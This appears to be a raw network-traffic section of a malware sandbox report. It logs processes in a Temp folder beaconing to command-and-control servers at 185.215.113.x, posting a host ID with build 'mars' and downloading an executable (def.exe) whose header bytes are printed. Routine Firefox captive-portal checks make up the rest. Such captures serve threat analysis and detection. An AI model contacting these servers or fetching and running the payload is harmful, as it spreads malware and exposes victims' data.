30	192.168.2.6	50219	185.215.113.206	80

Timestamp	Bytes transferred	Direction	Data
Nov 19, 2024 01:03:25.274540901 CET	90	OUT	GET / HTTP/1.1 Host: 185.215.113.206 Connection: Keep-Alive Cache-Control: no-cache
Nov 19, 2024 01:03:26.171050072 CET	203	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 00:03:26 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 19, 2024 01:03:26.177628994 CET	412	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----KJKJJJECFIEBFHIEGHJD Host: 185.215.113.206 Content-Length: 210 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4b 4a 4b 4a 4a 4a 45 43 46 49 45 42 46 48 49 45 47 48 4a 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 31 31 35 33 36 44 45 36 42 35 39 31 39 32 32 30 36 33 34 39 37 0d 0a 2d 2d 2d 2d 2d 2d 4b 4a 4b 4a 4a 4a 45 43 46 49 45 42 46 48 49 45 47 48 4a 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 6d 61 72 73 0d 0a 2d 2d 2d 2d 2d 2d 4b 4a 4b 4a 4a 4a 45 43 46 49 45 42 46 48 49 45 47 48 4a 44 2d 2d 0d 0a Data Ascii: ------KJKJJJECFIEBFHIEGHJDContent-Disposition: form-data; name="hwid"11536DE6B591922063497------KJKJJJECFIEBFHIEGHJDContent-Disposition: form-data; name="build"mars------KJKJJJECFIEBFHIEGHJD--
Nov 19, 2024 01:03:26.455862999 CET	210	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 00:03:26 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 8 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 59 6d 78 76 59 32 73 3d Data Ascii: YmxvY2s=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
31	192.168.2.6	50222	185.215.113.43	80	5752	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 19, 2024 01:03:26.110672951 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 19, 2024 01:03:27.038760900 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 19 Nov 2024 00:03:26 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
32	192.168.2.6	50230	185.215.113.43	80	5752	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 19, 2024 01:03:28.591500998 CET	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 30 32 46 37 39 42 37 35 31 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7BB02F79B75182D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Nov 19, 2024 01:03:29.734704971 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 19 Nov 2024 00:03:29 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
33	192.168.2.6	50238	185.215.113.43	80	5752	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 19, 2024 01:03:31.369832993 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 19, 2024 01:03:32.298543930 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 19 Nov 2024 00:03:32 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
34	192.168.2.6	50239	185.215.113.16	80	3576	C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe

Timestamp	Bytes transferred	Direction	Data
Nov 19, 2024 01:03:31.792217970 CET	200	OUT	GET /off/def.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: 185.215.113.16
Nov 19, 2024 01:03:32.700334072 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 19 Nov 2024 00:03:32 GMT Content-Type: application/octet-stream Content-Length: 2819584 Last-Modified: Mon, 18 Nov 2024 23:54:15 GMT Connection: keep-alive ETag: "673bd3a7-2b0600" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 80 2b 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 c0 2b 00 00 04 00 00 f2 e4 2b 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 9c 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@z!L!This program cannot be run in DOS mode.$PELP(,e"0$+ `@ ++`Ui` @ @.rsrc`2@.idata 8@ogtxsohc*:@iyarjevt `+@.taggant@+"*@
Nov 19, 2024 01:03:32.700452089 CET	112	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 19, 2024 01:03:32.700465918 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 19, 2024 01:03:32.700547934 CET	212	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 19, 2024 01:03:32.700560093 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 19, 2024 01:03:32.700567961 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 19, 2024 01:03:32.700583935 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 19, 2024 01:03:32.700598955 CET	636	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 19, 2024 01:03:32.700709105 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 19, 2024 01:03:32.700933933 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: 8duh3Ig(G:?IMb.KR%x= E-L&&"`E~q]~[$!hH}$A
Nov 19, 2024 01:03:32.705809116 CET	1236	IN	Data Raw: 70 1a f0 24 22 ce 21 0d f1 a3 c4 15 ae 4d 86 2d af d6 e2 dc e9 d3 4c 03 e1 ee 00 c3 df bc 1a ff dc a1 e6 7d 08 ab e7 16 40 b3 72 57 f7 e2 47 69 55 24 e8 7c f5 02 e7 0a 10 eb fd 65 5b fb 31 85 03 d8 2d 03 e5 00 63 5b 9f af ee b2 d7 71 bc 41 6f 46 Data Ascii: p$"!M-L}@rWGiU$\|e[1-c[qAoF9j'D}Stda#Pyq?z@KH^KU1I\:1JYVbN zqvOb0"vM3$/9T;?`npgi]99"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
35	192.168.2.6	50246	34.107.221.82	80	6704	C:\Program Files\Mozilla Firefox\firefox.exe

Timestamp	Bytes transferred	Direction	Data
Nov 19, 2024 01:03:33.523085117 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Nov 19, 2024 01:03:34.236679077 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Mon, 18 Nov 2024 06:22:15 GMT Age: 63679 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Nov 19, 2024 01:03:34.731070042 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Nov 19, 2024 01:03:34.860038042 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Mon, 18 Nov 2024 06:22:15 GMT Age: 63679 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Nov 19, 2024 01:03:35.827688932 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Nov 19, 2024 01:03:35.956155062 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Mon, 18 Nov 2024 06:22:15 GMT Age: 63680 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Nov 19, 2024 01:03:36.180792093 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Nov 19, 2024 01:03:36.309098005 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Mon, 18 Nov 2024 06:22:15 GMT Age: 63681 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Nov 19, 2024 01:03:36.844403028 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Nov 19, 2024 01:03:36.972196102 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Mon, 18 Nov 2024 06:22:15 GMT Age: 63681 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Nov 19, 2024 01:03:37.499106884 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Nov 19, 2024 01:03:37.627901077 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Mon, 18 Nov 2024 06:22:15 GMT Age: 63682 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Nov 19, 2024 01:03:40.994872093 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Nov 19, 2024 01:03:41.124356985 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Mon, 18 Nov 2024 06:22:15 GMT Age: 63686 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Nov 19, 2024 01:03:41.652293921 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Nov 19, 2024 01:03:41.780607939 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Mon, 18 Nov 2024 06:22:15 GMT Age: 63686 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Nov 19, 2024 01:03:41.994194031 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Nov 19, 2024 01:03:42.134387016 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Mon, 18 Nov 2024 06:22:15 GMT Age: 63687 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Nov 19, 2024 01:03:51.466016054 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Nov 19, 2024 01:03:51.594400883 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Mon, 18 Nov 2024 06:22:15 GMT Age: 63696 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Nov 19, 2024 01:03:52.658854008 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Nov 19, 2024 01:03:52.798116922 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Mon, 18 Nov 2024 06:22:15 GMT Age: 63697 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Nov 19, 2024 01:04:02.996028900 CET	6	OUT	Data Raw: 00 Data Ascii:
Nov 19, 2024 01:04:11.112598896 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Nov 19, 2024 01:04:11.249228954 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Mon, 18 Nov 2024 06:22:15 GMT Age: 63716 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Nov 19, 2024 01:04:11.732455015 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Nov 19, 2024 01:04:11.860515118 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Mon, 18 Nov 2024 06:22:15 GMT Age: 63716 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Nov 19, 2024 01:04:14.028799057 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Nov 19, 2024 01:04:14.163218975 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Mon, 18 Nov 2024 06:22:15 GMT Age: 63719 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Nov 19, 2024 01:04:24.195729017 CET	6	OUT	Data Raw: 00 Data Ascii:
Nov 19, 2024 01:04:34.339159966 CET	6	OUT	Data Raw: 00 Data Ascii:
